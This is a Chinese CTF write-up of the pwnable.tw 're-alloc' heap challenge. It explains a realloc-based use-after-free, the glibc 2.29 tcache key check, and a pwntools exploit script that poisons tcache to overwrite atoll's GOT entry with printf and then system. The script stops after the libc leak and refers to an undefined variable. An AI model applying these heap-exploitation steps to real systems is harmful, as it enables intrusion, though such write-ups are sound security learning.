pwnable.tw re-alloc

以前做过realloc相关的利用,不过这题让我学到了realloc利用的新姿势

题目描述

题目提供了四个功能

1
2
3
4
1. alloc
2. realloc
3. free
4. exit

其中alloc功能相当于malloc一个指定大小的块,不过大小限定在了0x78以内,realloc功能就是使用realloc函数重新分配空间,如果成功返回了一个地址,那么就把这个地址复制到bss段上。这里存在一个off by null,如果这个题没有两个堆块这个数量限制的话还可以搞堆重叠,但是只有两个chunk的话就很难利用。

realloc功能为更改chunk的size以及更新content内容,这里末尾不会自动补0.值得注意的是,当size为0时,相当于触发free但是对应的bss上的数组中的指针不会清0,于是这里有一个uaf可以利用。

free功能就是同时free掉chunk以及将heap数组中的指针清0

相关知识点

libc2.29 相关

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

//glibc-2.29
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

libc2.29中多出了一个结构叫做key,它会把tcache结构的头部保存在key中,然后在空闲chunk加入tcache链后从key开始遍历tcache中的chunk,看看有没有重复的,有则会出现double free的报错

检测代码如下

1
2
3
4
5
6
7
8
9
10
11
12
if (__glibc_unlikely (e->key == tcache)) // 检查是否为tcache_perthread_struct地址
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e) // 检查tcache中是否有一样的chunk
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

简单总结一下,2.29下tcache触发double free报错的条件为:

1
e-key == &tcache_perthread_struct && chunk in tcachebin[chunk_idx]

realloc(ptr, size)函数

总的来说,realloc函数在size不同的情况下,可以达到malloc,edit,free三种功能:

  1. ptr == 0: malloc(size)
  2. ptr != 0 && size == 0: free(ptr)
  3. ptr != 0 && size == old_size: edit(ptr)
  4. ptr != 0 && size < old_size: edit(ptr) and free(remainder)
  5. ptr != 0 && size > old_size: new_ptr = malloc(size); strcpy(new_ptr, ptr); free(ptr); return new_ptr;

利用思路

  1. 利用uaf在不同的tcache链上放置atoll_got的chunk
  2. 利用其中一个指向atoll_got的chunk,把atoll_got改为printf,利用格式化字符串漏洞泄露libc
  3. 最后再利用另一个指向atoll_got的chunk,将其改为system,最后调用system(‘/bin/sh’)拿到shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
sh = process('./re-alloc')
elf = ELF('./re-alloc')
libc = ELF('./libc.so')

def alloc(idx, size, content):
sh.recvuntil('Your choice: ')
sh.sendline('1')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline(str(size))
sh.recvuntil('Data:')
sh.send(content)

def realloc(idx, size, content):
sh.recvuntil('Your choice: ')
sh.sendline('2')
sh.recvuntil('Index:')
sh.sendline(str(idx))
sh.recvuntil('Size:')
sh.sendline(str(size))
if content == '':
return
else:
sh.recvuntil('Data:')
sh.send(content)

def rfree(idx):
sh.recvuntil('Your choice: ')
sh.sendline('3')
sh.recvuntil('Index:')
sh.sendline(str(idx))

bss = elf.bss(0)
atoll_got = elf.got["atoll"]
atoll_plt = elf.plt["atoll"]
printf_plt = elf.plt["printf"]
libc_start_main_ret_offset = libc.symbols["__libc_start_main"] + 0xeb
system_offset = libc.symbols["system"]


# let tcache[0x20] => atoll_got
# heap[0] ==> chunk(0x18) <== heap[1]
alloc(0, 0x18, 'aaa\n') #malloc
realloc(0, 0, '') #free
realloc(0, 0x18, p64(atoll_got)) #edit
alloc(1, 0x18, "BBB")
# now heap[0] == heap[1] == NULL
realloc(0, 0x38, 'aaa\n')
rfree(0)
realloc(1, 0x38, "D" * 0x10)
rfree(1)

# let tcache[0x50] => atoll_got
# heap[0] ==> chunk(0x18) <== heap[1]

alloc(0, 0x48, "AAAA")
realloc(0,0,'')
realloc(0, 0x48, p64(atoll_got))
alloc(1, 0x48, 'BBB')

# now heap[0] == heap[1] == NULL
realloc(0, 0x58, "CCC")
rfree(0)
realloc(1, 0x58, "D" * 0x10)
rfree(1)

# above all, we get two tcache point to atoll_got that can be malloc

# alloc once at heap[0]
# change the atoll_got to printf_plt
# use format string bug to leak the __libc_start_main_ret in the stack
gdb.attach(sh,'b*0x40129D')
alloc(0, 0x48, p64(printf_plt))
sh.sendlineafter("Your choice: ", "3")
sh.sendlineafter("Index:", "%21$p")

libc_start_main_ret = int(p.recv(14), 16)
libc_base = libc_start_main_ret - libc_start_main_ret_offset
libc_system = libc_base + system_offset

sh.interactive()

小结

  1. 被free掉的chunk再用realloc进行相同size的操作居然可以达到uaf的效果,本以为会malloc出来的
  2. 把atoll函数改为printf真的强,这也提供了一个思路就是可以通过一个漏洞来构造另外的漏洞来达成利用的目的
-------------本文结束感谢您的阅读-------------
+ +